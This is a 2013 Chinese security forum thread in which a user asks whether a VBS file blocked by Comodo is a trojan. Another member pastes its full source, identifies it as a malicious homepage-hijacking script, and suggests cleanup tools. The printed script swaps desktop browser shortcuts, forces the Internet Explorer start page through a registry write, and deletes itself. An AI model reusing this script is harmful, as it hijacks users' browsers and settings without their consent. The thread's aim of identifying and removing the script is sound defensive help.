comodo拦截A.VBS是不是木马

显示全部楼层 · 发表于 2013-9-1 11:52:11

本帖最后由 wjnyzz 于 2013-9-6 23:27 编辑

求确认comodo拦截A.VBS是不是木马,vbs流氓删除又回来了，这次果断comodo拦截流氓，哈哈

显示全部楼层 · 发表于 2013-9-1 12:03:06

本帖最后由 wjnyzz 于 2013-9-1 12:07 编辑

迅雷是流氓行为吗

显示全部楼层 · 发表于 2013-9-1 12:07:47

贴vbs源代码，或上传样本

显示全部楼层 · 发表于 2013-9-1 12:17:13

秦王扫六合发表于 2013-9-1 12:07
贴vbs源代码，或上传样本

vbs

显示全部楼层 · 发表于 2013-9-1 12:21:26

迅雷那个库文件很恶心的。即使卸载了还会残留，进行联网操作；而且很难删除

显示全部楼层 · 发表于 2013-9-1 12:49:59

wjnyzz 发表于 2013-9-1 12:17
vbs

是流氓推广
火眼：http://fireeye.ijinshan.com/anal ... 16f0df68&type=1

显示全部楼层 · 发表于 2013-9-1 12:51:09

wjnyzz 发表于 2013-9-1 12:17
vbs

On Error Resume Next
Set OS= WScript.CreateObject("WScript.Shell")
desktop = OS.SpecialFolders("desktop")
Set file = CreateObject("Scripting.FileSystemObject")
for i=0 to 60
URL = "http://www.hao690.com/"
if file.fileexists(desktop & "\360安全浏览器6.lnk") then
file.deleteFile desktop & "\360安全浏览器6.lnk"
file.CopyFile  "C:\WINDOWS\360安全浏览器6.lnk",desktop & "\"
End If
if file.fileexists(desktop & "\搜狗高速浏览器.lnk") then
file.deleteFile desktop & "\搜狗高速浏览器.lnk"
file.CopyFile  "C:\WINDOWS\搜狗高速浏览器.lnk",desktop & "\"
End If
if file.fileexists(desktop & "\2345智能浏览器.lnk") then
file.deleteFile desktop & "\2345智能浏览器.lnk"
file.CopyFile  "C:\WINDOWS\2345智能浏览器.lnk",desktop & "\"
End If
b=OS.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page")
if URL<> b then
OS.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",URL,"REG_SZ"
end if
WScript.Sleep(50000)
next
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
fso.deleteFile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\.lnk"
fso.deleteFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\.lnk"
fso.deleteFile "C:\WINDOWS\2345智能浏览器.lnk"
fso.deleteFile "C:\WINDOWS\搜狗高速浏览器.lnk"
fso.deleteFile "C:\WINDOWS\360安全浏览器6.lnk"
createobject("scripting.filesystemobject").getfile(wscript.scriptfullname).delete(True)

目测像是修改主页的恶意脚本…………

建议用360或者金山的急救箱，外加windows清理助手处理一遍。

显示全部楼层 · 发表于 2013-9-1 12:53:24

zhou0197 发表于 2013-9-1 12:51
On Error Resume Next
Set OS= WScript.CreateObject("WScript.Shell")
desktop = OS.SpecialFolders(" ...

非常感谢，我刚刚打开C盘windows里面有这3个浏览器的快捷方式在

显示全部楼层 · 发表于 2013-9-1 12:54:12

wjnyzz 发表于 2013-9-1 12:17
vbs

楼上以下结论哈哈

显示全部楼层 · 发表于 2013-9-1 12:55:44

zhou0197 发表于 2013-9-1 12:51
On Error Resume Next
Set OS= WScript.CreateObject("WScript.Shell")
desktop = OS.SpecialFolders(" ...

我上午的时候comodo提示窗口我给放行了，现在现在清理掉，直接去C盘windows里面删除吗

[已解决] comodo拦截A.VBS是不是木马

本帖子中包含更多资源

本帖子中包含更多资源